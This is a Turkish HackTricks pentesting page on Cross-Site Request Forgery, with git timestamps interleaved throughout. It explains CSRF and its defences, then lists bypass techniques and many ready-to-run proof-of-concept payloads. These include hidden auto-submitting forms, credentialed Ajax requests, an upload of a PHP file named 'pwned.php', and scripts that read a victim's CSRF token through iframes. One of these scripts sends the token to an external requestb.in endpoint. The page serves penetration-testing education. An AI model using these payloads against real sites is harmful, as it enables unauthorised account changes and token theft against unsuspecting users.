2022-04-28 23:27:22 +00:00
# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:46:32 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-31 01:25:17 +00:00
2024-02-23 16:46:32 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-23 16:46:32 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu
* **Bize katı lı n** 💬 [**Discord grubunda** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubunda** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'da **takip edin** .
* **Hacking püf noktaları nı zı göndererek HackTricks ve HackTricks Cloud github depoları na PR göndererek paylaşı n.**
2022-04-28 16:01:33 +00:00
< / details >
2024-02-23 16:46:32 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-02-27 09:28:45 +00:00
2024-02-23 16:46:32 +00:00
Deneyimli hackerlar ve ödül avcı ları ile iletişim kurmak için [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) sunucusuna katı lı n!
2023-02-27 09:28:45 +00:00
2024-02-23 16:46:32 +00:00
**Hackleme İçgörüleri**\
2024-03-17 16:37:08 +00:00
Hackleme heyecanı nı ve zorlukları nı ele alan içeriklerle etkileşime girin
2023-02-27 09:28:45 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
2024-02-23 16:46:32 +00:00
Hı zlı tempolu hackleme dünyası nda gerçek zamanlı haberler ve içgörülerle güncel kalı n
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**En Son Duyurular**\
2024-03-17 16:37:08 +00:00
Yayı nlanan en yeni ödül avı başlangı çları ve önemli platform güncellemeleri hakkı nda bilgi sahibi olun
2022-10-27 23:22:18 +00:00
2024-03-17 16:37:08 +00:00
**Bize katı lı n** [**Discord** ](https://discord.com/invite/N3FrSbmwdy )'da ve bugün en iyi hackerlarla işbirliğine başlayı n!
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Cross-Site Request Forgery (CSRF) Açı klaması
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Cross-Site Request Forgery (CSRF)**, web uygulamaları nda bulunan bir güvenlik açı ğı türüdür. Bu açı k, saldı rganları n kimlik doğrulanmı ş oturumları nı sömürerek habersiz kullanı cı lar adı na işlemler gerçekleştirmesine olanak tanı r. Saldı rı , bir kullanı cı nı n, bir kurbanı n platformuna oturum açmı ş olduğu sı rada kötü niyetli bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site daha sonra JavaScript yürüterek, formlar göndererek veya resimler getirerek kurbanı n hesabı na istekler gönderir.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### CSRF Saldı rı sı için Önkoşullar
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
CSRF açı ğı ndan yararlanmak için birkaç koşulun sağlanması gerekir:
2024-02-23 16:46:32 +00:00
2024-03-17 16:37:08 +00:00
1. **Değerli Bir İşlemi Tanı mlama** : Saldı rganı n, kullanı cı nı n şifresini, e-postası nı değiştirmek veya ayrı calı kları yükseltmek gibi sömürülecek bir işlem bulması gerekir.
2024-02-10 18:14:16 +00:00
2. **Oturum Yönetimi** : Kullanı cı nı n oturumu yalnı zca çerezler veya HTTP Temel Kimlik Doğrulama başlı ğı aracı lı ğı yla yönetilmelidir, diğer başlı klar bu amaçla manipüle edilemez.
2024-03-17 16:37:08 +00:00
3. **Tahmin Edilemeyen Parametrelerin Eksikliği** : İstek, saldı rı yı engelleyebilecek tahmin edilemeyen parametreler içermemelidir.
2024-02-23 16:46:32 +00:00
### Hı zlı Kontrol
**Burp'ta isteği yakalayabilir** ve CSRF korumaları nı kontrol edebilir ve tarayı cı dan test etmek için **Fetch olarak kopyala** 'ya tı klayabilir ve isteği kontrol edebilirsiniz:
2024-03-17 16:37:08 +00:00
< figure > < img src = "../.gitbook/assets/image (5).png" alt = "" > < figcaption > < / figcaption > < / figure >
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### CSRF'ye Karşı Savunma
2024-02-23 16:46:32 +00:00
2024-03-17 16:37:08 +00:00
CSRF saldı rı ları na karşı korunmak için çeşitli karşı önlemler alı nabilir:
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
* [**SameSite çerezleri** ](hacking-with-cookies/#samesite ): Bu özellik, tarayı cı nı n çerezleri çapraz site istekleriyle birlikte göndermesini engeller. [SameSite çerezleri hakkı nda daha fazla bilgi ](hacking-with-cookies/#samesite ).
2024-03-17 16:37:08 +00:00
* [**Cross-origin resource sharing** ](cors-bypass.md ): Kurban sitesinin CORS politikası , saldı rı nı n gerçekleştirilmesi için kurban sitenin yanı tı nı okuma gerektiriyorsa saldı rı nı n uygulanabilirliğini etkileyebilir. [CORS atlatma hakkı nda bilgi edinin ](cors-bypass.md ).
2024-02-23 16:46:32 +00:00
* **Kullanı cı Doğrulaması **: Kullanı cı nı n niyetini doğrulamak için şifresini sormak veya bir captcha çözdürmek önemli olabilir.
2024-03-17 16:37:08 +00:00
* **Referrer veya Origin Başlı kları nı Kontrol Etme**: Bu başlı kları doğrulamak, isteklerin güvenilir kaynaklardan geldiğinden emin olmaya yardı mcı olabilir. Ancak, kötü uygulanan kontrolleri atlatmak için URL'lerin dikkatli bir şekilde oluşturulması gerekebilir, örneğin:
2024-02-23 16:46:32 +00:00
* `http://mal.net?orig=http://example.com` (URL güvenilir URL ile biter)
* `http://example.com.mal.net` (URL güvenilir URL ile başlar)
* **Parametre Adları nı Değiştirme**: POST veya GET isteklerinde parametre adları nı değiştirmek, otomatik saldı rı ları önlemede yardı mcı olabilir.
* **CSRF Token'ları **: Her oturuma benzersiz bir CSRF belirteci eklemek ve bu belirteci sonraki isteklerde gerektirmek, CSRF riskini önemli ölçüde azaltabilir. Belirtecin etkinliği, CORS'un zorunlu kı lı nması yla artı rı labilir.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
Bu savunmaları anlamak ve uygulamak, web uygulamaları nı n güvenliğini ve bütünlüğünü korumak için hayati önem taşı r.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
## Savunmaları Atlatma
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### POST'tan GET'e
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Belki de istismar etmek istediğiniz form, bir **CSRF belirteci ile POST isteği göndermeye hazı rlanmı ştı r ancak** , bir **GET** 'in de **geçerli olup olmadı ğı nı kontrol etmelisiniz** ve GET isteği gönderdiğinizde **CSRF belirtecinin hala doğrulandı ğı nı ** kontrol etmelisiniz.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
### Belirteç eksikliği
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Uygulamalar, var oldukları nda **belirteçleri doğrulamak** için bir mekanizma uygulayabilir. Ancak, belirteç yokken doğrulamanı n tamamen atlandı ğı bir güvenlik açı ğı ortaya çı kabilir. Saldı rganlar, belirteci taşı yan parametreyi sadece değil, parametreyi kaldı rarak bu doğrulama sürecini atlayabilir. Bu, saldı rganları n doğrulama sürecini atlayarak Cross-Site Request Forgery (CSRF) saldı rı sı nı etkili bir şekilde gerçekleştirmesine olanak tanı r.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
### CSRF belirteci kullanı cı oturumuna bağlı değil
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Uygulamalar, CSRF belirteçlerini kullanı cı oturumları na bağlamadı kları nda önemli bir **güvenlik riski** ortaya çı kar. Bu sistemler, her belirtecin başlatan oturuma bağlı olması nı sağlamak yerine belirteçleri genel bir havuzda doğrular.
2024-02-05 20:00:40 +00:00
2024-02-23 16:46:32 +00:00
Saldı rganları n bunu nası l sömürdüğü:
2024-02-05 20:00:40 +00:00
2024-02-23 16:46:32 +00:00
1. Kendi hesapları yla **kimlik doğrulama** yaparlar.
2024-03-17 16:37:08 +00:00
2. Genel havuzdan geçerli bir CSRF belirteci **alı rlar** .
3. Bu belirteci bir kurban üzerindeki bir CSRF saldı rı sı nda **kullanı rlar** .
2024-02-05 20:00:40 +00:00
2024-03-17 16:37:08 +00:00
Bu zayı f nokta, saldı rganları n uygulamanı n **yetersiz belirteç doğrulama mekanizması nı ** sömürerek kurban adı na yetkisiz istekler yapmaları na olanak tanı r.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Yöntem atlatma
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Eğer istek "**garip**" bir **yöntem** kullanı yorsa, **yöntem geçersizleştirme işlevinin** çalı şı p çalı şmadı ğı nı kontrol edin. Örneğin, **PUT** yöntemini kullanan bir istek varsa, **POST** yöntemini deneyebilir ve şunu gönderebilirsiniz: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
Bu ayrı ca **_method parametresini POST isteği içine** yerleştirerek veya **başlı kları kullanarak** çalı şabilir:
2020-07-15 15:43:14 +00:00
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
2024-02-23 16:46:32 +00:00
### Özel başlı k belirteci atlatma
2024-03-17 16:37:08 +00:00
Eğer istek, **CSRF koruma yöntemi olarak** bir **özel başlı kta belirteç** ekliyorsa, o zaman:
2024-02-23 16:46:32 +00:00
* İsteği **Özel Belirteç ve başlı k olmadan** test edin.
2024-03-17 16:37:08 +00:00
* İsteği **aynı uzunlukta fakat farklı bir belirteçle** test edin.
2024-02-23 16:46:32 +00:00
### CSRF belirteci bir çerez tarafı ndan doğrulanı yor
2024-03-17 16:37:08 +00:00
Uygulamalar, CSRF koruması nı uygulayabilirken, çerezi ve istek parametresini çoğaltarak veya bir CSRF çerezi ayarlayarak ve arka uçta gönderilen belirtecin çerezle eşleşip eşleşmediğini doğrulayarak CSRF koruması nı uygulayabilir. Uygulama, isteği doğrulayarak, istek parametresindeki belirtecin çerezdeki değerle uyumlu olup olmadı ğı nı kontrol eder.
2024-02-23 16:46:32 +00:00
2024-03-17 16:37:08 +00:00
Ancak, bu yöntem, bir saldı rganı n bir CRLF açı ğı gibi bir zayı flı k aracı lı ğı yla bir CSRF çerezi kurbanı n tarayı cı sı na yerleştirmesine izin veren web sitesi hataları varsa CSRF saldı rı ları na karşı savunması zdı r. Saldı rgan, çerezi ayarlayan aldatı cı bir resim yükleyerek çerezi ayarlar ve ardı ndan CSRF saldı rı sı nı başlatı r.
2024-02-23 16:46:32 +00:00
Aşağı da, bir saldı rı nı n nası l yapı landı rı labileceğine dair bir örnek bulunmaktadı r:
2021-11-30 16:46:07 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://example.com/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "hidden" name = "csrf" value = "tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" / >
< input type = "submit" value = "Submit request" / >
< / form >
< img src = "https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror = "document.forms[0].submit();" / >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
2024-02-05 20:00:40 +00:00
2021-11-30 16:46:07 +00:00
```
{% hint style="info" %}
2024-02-23 16:46:32 +00:00
Not: Eğer csrf belirteci oturum çerezi ile ilişkilendirilmişse bu saldı rı çalı şmayacaktı r çünkü kurbanı n oturumunu ayarlamanı z gerekecek ve dolayı sı yla kendinize saldı rı gerçekleştirmiş olacaksı nı z.
2021-11-30 16:46:07 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Content-Type değişikliği
2020-08-10 09:56:57 +00:00
2024-03-17 16:37:08 +00:00
[**Buna** ](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests ) göre, **Ön uçuş** isteklerini **POST** yöntemini kullanarak **önlemek** için izin verilen Content-Type değerleri şunlardı r:
2021-05-29 20:00:49 +00:00
2024-02-23 16:46:32 +00:00
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
2021-05-29 20:00:49 +00:00
2024-03-17 16:37:08 +00:00
Ancak, **Sunucunun mantı ğı ** kullanı lan **Content-Type** 'a bağlı olarak değişebilir, bu yüzden belirtilen değerleri ve ** `application/json` **_**,**_**`text/xml`**, ** `application/xml` **_._ gibi diğer değerleri denemelisiniz.
2022-04-22 08:32:18 +00:00
2024-03-17 16:37:08 +00:00
JSON verilerini text/plain olarak gönderme örneği (buradan alı nmı ştı r: [buradan ](https://brycec.me/posts/corctf\_2021\_challenges )):
2022-04-22 08:32:18 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
< body >
< form id = "form" method = "post" action = "https://phpme.be.ax/" enctype = "text/plain" >
< input name = '{"garbageeeee":"' value = '", "yep": "yep yep yep", "url": "https://webhook/"}' >
< / form >
< script >
form.submit();
< / script >
< / body >
2022-04-22 08:32:18 +00:00
< / html >
```
2024-02-23 16:46:32 +00:00
### JSON Verileri için Preflight İsteklerinin Atlatı lması
2022-04-22 08:32:18 +00:00
2024-02-23 16:46:32 +00:00
JSON verilerini bir POST isteği aracı lı ğı yla göndermeye çalı şı rken, HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir preflight isteği başlatı r. Bununla birlikte, sunucunun JSON verilerini işleyip işlemediğini Content-Type'a bakı lmaksı zı n kontrol etmek için bu kı sı tlamayı potansiyel olarak atlatmanı n stratejileri bulunmaktadı r:
2021-10-05 10:00:17 +00:00
2024-02-23 16:46:32 +00:00
1. **Alternatif İçerik Türleri Kullanma** : Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanı n. Bu yaklaşı m, sunucunun Content-Type'a bakı lmaksı zı n verileri kullanı p kullanmadı ğı nı test eder.
2024-03-17 16:37:08 +00:00
2. **İçerik Türünü Değiştirme** : Sunucunun içeriği JSON olarak tanı dı ğı ndan emin olurken preflight isteğini önlemek için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu bir preflight isteği başlatmaz ancak sunucunun `application/json` 'ı kabul etmek için yapı landı rı lmı şsa doğru şekilde işleyebilir.
3. **SWF Flash Dosyası Kullanı mı ** : Daha az yaygı n ancak mümkün olan bir yöntem, bu tür kı sı tlamaları atlamak için SWF flash dosyası kullanmaktı r. Bu tekniğin detaylı anlayı şı için [bu yazı ya ](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937 ) başvurabilirsiniz.
2021-10-05 10:00:17 +00:00
2024-02-23 16:46:32 +00:00
### Referrer / Origin kontrolünü atlatma
2022-02-21 15:48:28 +00:00
2024-02-23 16:46:32 +00:00
**Referrer Başlı ğı nı Kullanmamak**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Uygulamalar, 'Referer' başlı ğı nı yalnı zca var olduğunda doğrulayabilir. Tarayı cı nı n bu başlı ğı göndermesini engellemek için aşağı daki HTML meta etiketi kullanı labilir:
2024-02-05 20:00:40 +00:00
```xml
2020-07-15 15:43:14 +00:00
< meta name = "referrer" content = "never" >
```
2024-03-17 16:37:08 +00:00
Bu, 'Referer' başlı ğı nı n atlandı ğı ndan emin olur, bazı uygulamalardaki doğrulama kontrollerini atlayabilir.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Regexp atlamaları **
2020-07-15 15:43:14 +00:00
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md ](ssrf-server-side-request-forgery/url-format-bypass.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
Sunucunun alan adı nı , Referrer'ı n parametreler içinde göndereceği URL'de ayarlamak için şunu yapabilirsiniz:
2021-11-30 16:46:07 +00:00
```html
< html >
2024-02-10 18:14:16 +00:00
<!-- Referrer policy needed to send the qury parameter in the referrer -->
< head > < meta name = "referrer" content = "unsafe-url" > < / head >
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
< / script >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
```
2024-02-23 16:46:32 +00:00
### **HEAD method bypass**
2021-11-30 16:46:07 +00:00
2024-03-17 16:37:08 +00:00
Bu [**CTF çözümü** ](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution ) dosyası nı n ilk kı smı nda [Oak'in kaynak kodu ](https://github.com/oakserver/oak/blob/main/router.ts#L281 ) açı klanmı ştı r, bir yönlendirici **HEAD isteklerini yanı tsı z GET istekleri olarak işlemek üzere ayarlanmı ştı r** - bu, Oak'a özgü olmayan yaygı n bir çözümdür. HEAD isteklerini işleyen özel bir işleyici yerine, bunlar sadece **GET işleyiciye verilir ancak uygulama yanı t gövdesini kaldı rı r** .
2022-10-27 23:22:18 +00:00
2024-03-17 16:37:08 +00:00
Bu nedenle, bir GET isteğinin sı nı rlı olduğu durumlarda, **GET isteği olarak işlenen bir HEAD isteği gönderebilirsiniz** .
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
## **Sömürü Örnekleri**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### **CSRF Token'inin Sı zdı rı lması **
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Eğer bir **CSRF tokeni** kullanı lı yorsa **savunma** olarak, [**XSS** ](xss-cross-site-scripting/#xss-stealing-csrf-tokens ) zafiyeti veya [**Dangling Markup** ](dangling-markup-html-scriptless-injection/ ) zafiyetini istismar ederek **sı zdı rmayı ** deneyebilirsiniz.
2020-07-15 15:43:14 +00:00
2024-02-23 16:46:32 +00:00
### **HTML etiketleri kullanarak GET**
2024-02-05 20:00:40 +00:00
```xml
2021-10-05 10:00:17 +00:00
< img src = "http://google.es?param=VALUE" style = "display:none" / >
2020-07-15 15:43:14 +00:00
< h1 > 404 - Page not found< / h1 >
The URL you are requesting is no longer available
```
2024-02-10 18:14:16 +00:00
Diğer HTML5 etiketleri, otomatik olarak bir GET isteği göndermek için kullanı labilir:
2024-02-05 20:00:40 +00:00
```html
< iframe src = "..." > < / iframe >
< script src = "..." > < / script >
< img src = "..." alt = "" >
< embed src = "..." >
< audio src = "..." >
< video src = "..." >
< source src = "..." type = "..." >
< video poster = "..." >
< link rel = "stylesheet" href = "..." >
< object data = "..." >
< body background = "..." >
< div style = "background: url('...');" > < / div >
< style >
2024-02-10 18:14:16 +00:00
body { background: url('...'); }
2024-02-05 20:00:40 +00:00
< / style >
< bgsound src = "..." >
< track src = "..." kind = "subtitles" >
< input type = "image" src = "..." alt = "Submit Button" >
```
2024-02-10 18:14:16 +00:00
### Form GET isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< html >
2024-02-10 18:14:16 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "GET" action = "https://victim.net/email/change-email" >
< input type = "hidden" name = "email" value = "some@email.com" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2020-07-15 15:43:14 +00:00
< / html >
```
2024-02-10 18:14:16 +00:00
### Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< html >
2024-02-10 18:14:16 +00:00
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "POST" action = "https://victim.net/email/change-email" id = "csrfform" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / > <!-- Way 1 to autosubmit -->
< input type = "submit" value = "Submit request" / >
< img src = x onerror = "csrfform.submit();" / > <!-- Way 2 to autosubmit -->
< / form >
< script >
document.forms[0].submit(); //Way 3 to autosubmit
< / script >
< / body >
2020-07-15 15:43:14 +00:00
< / html >
2021-06-04 23:20:57 +00:00
```
2024-03-17 16:37:08 +00:00
### İframe aracı lı ğı yla Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2024-02-10 18:14:16 +00:00
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
< html >
2024-02-10 18:14:16 +00:00
< body >
< iframe style = "display:none" name = "csrfframe" > < / iframe >
< form method = "POST" action = "/change-email" id = "csrfform" target = "csrfframe" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2021-06-04 23:20:57 +00:00
< / html >
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### **Ajax POST isteği**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< script >
var xh;
if (window.XMLHttpRequest)
2024-02-10 18:14:16 +00:00
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
2020-07-15 15:43:14 +00:00
else
2024-02-10 18:14:16 +00:00
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
2020-07-15 15:43:14 +00:00
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
< / script >
2021-06-05 01:10:15 +00:00
< script >
//JQuery version
$.ajax({
2024-02-10 18:14:16 +00:00
type: "POST",
url: "https://google.com",
data: "param=value& param2=value2"
2021-06-05 01:10:15 +00:00
})
< / script >
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### multipart/form-data POST isteği
2020-07-15 15:43:14 +00:00
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?> "], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
2024-02-10 18:14:16 +00:00
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
2020-07-15 15:43:14 +00:00
});
```
2024-02-10 18:14:16 +00:00
### multipart/form-data POST isteği v2
2020-07-15 15:43:14 +00:00
```javascript
2024-02-05 20:00:40 +00:00
// https://www.exploit-db.com/exploits/20009
2020-07-15 15:43:14 +00:00
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
2024-02-23 16:46:32 +00:00
### Bir iframe içinden Form POST isteği
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< -- ! expl . html -- >
< body onload = "envia()" >
< form method = "POST" id = "formulario" action = "http://aplicacion.example.com/cambia_pwd.php" >
< input type = "text" id = "pwd" name = "pwd" value = "otra nueva" >
< / form >
< body >
< script >
function envia(){document.getElementById("formulario").submit();}
< / script >
<!-- public.html -->
< iframe src = "2-1.html" style = "position:absolute;top:-5000" >
< / iframe >
< h1 > Sitio bajo mantenimiento. Disculpe las molestias< / h1 >
```
2024-02-23 16:46:32 +00:00
### **CSRF Token'un Çalı nması ve Bir POST İsteği Gönderilmesi**
2020-07-15 15:43:14 +00:00
```javascript
function submitFormWithTokenJS(token) {
2024-02-10 18:14:16 +00:00
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
//console.log(xhr.responseText);
}
}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
xhr.send("token=" + token + "&otherparama=heyyyy");
2020-07-15 15:43:14 +00:00
}
function getTokenJS() {
2024-02-10 18:14:16 +00:00
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE & & xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
2020-07-15 15:43:14 +00:00
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2024-02-23 16:46:32 +00:00
### **CSRF Token'unu çal ve bir iframe, bir form ve Ajax kullanarak bir Post isteği gönder**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< form id = "form1" action = "http://google.com?param=VALUE" method = "post" enctype = "multipart/form-data" >
< input type = "text" name = "username" value = "AA" >
< input type = "checkbox" name = "status" checked = "checked" >
< input id = "token" type = "hidden" name = "token" value = "" / >
< / form >
< script type = "text/javascript" >
function f1(){
2024-02-10 18:14:16 +00:00
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
< / script >
2020-07-15 15:43:14 +00:00
< iframe id = "i1" style = "display:none" src = "http://google.com?param=VALUE" onload = "javascript:f1();" > < / iframe >
```
2024-03-17 16:37:08 +00:00
### **CSRF Token'un çalı nması ve bir iframe ve form kullanı larak POST isteği gönderilmesi**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< iframe id = "iframe" src = "http://google.com?param=VALUE" width = "500" height = "500" onload = "read()" > < / iframe >
2024-02-10 18:14:16 +00:00
< script >
2020-07-15 15:43:14 +00:00
function read()
{
2024-02-10 18:14:16 +00:00
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('< form width = "0" height = "0" method = "post" action = "http://www.yoursebsite.com/check.php" enctype = "multipart/form-data" > ');
document.writeln('< input id = "username" type = "text" name = "username" value = "' + name + '" / > < br / > ');
document.writeln('< input id = "token" type = "hidden" name = "token" value = "' + token + '" / > ');
document.writeln('< input type = "submit" name = "submit" value = "Submit" / > < br / > ');
document.writeln('< / form > ');
document.forms[0].submit.click();
2020-07-15 15:43:14 +00:00
}
< / script >
```
2024-03-17 16:37:08 +00:00
### **Tokenu çal ve 2 iframe kullanarak gönder**
2024-02-05 20:00:40 +00:00
```html
2020-07-15 15:43:14 +00:00
< script >
var token;
function readframe1(){
2024-02-10 18:14:16 +00:00
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
2020-07-15 15:43:14 +00:00
}
function loadframe2(){
2024-02-10 18:14:16 +00:00
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
2020-07-15 15:43:14 +00:00
}
< / script >
2024-02-10 18:14:16 +00:00
< iframe id = "frame1" name = "frame1" src = "http://google.com?param=VALUE" onload = "readframe1()"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
2024-02-10 18:14:16 +00:00
< iframe id = "frame2" name = "frame2"
2020-07-15 15:43:14 +00:00
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800">< / iframe >
< body onload = "document.forms[0].submit()" >
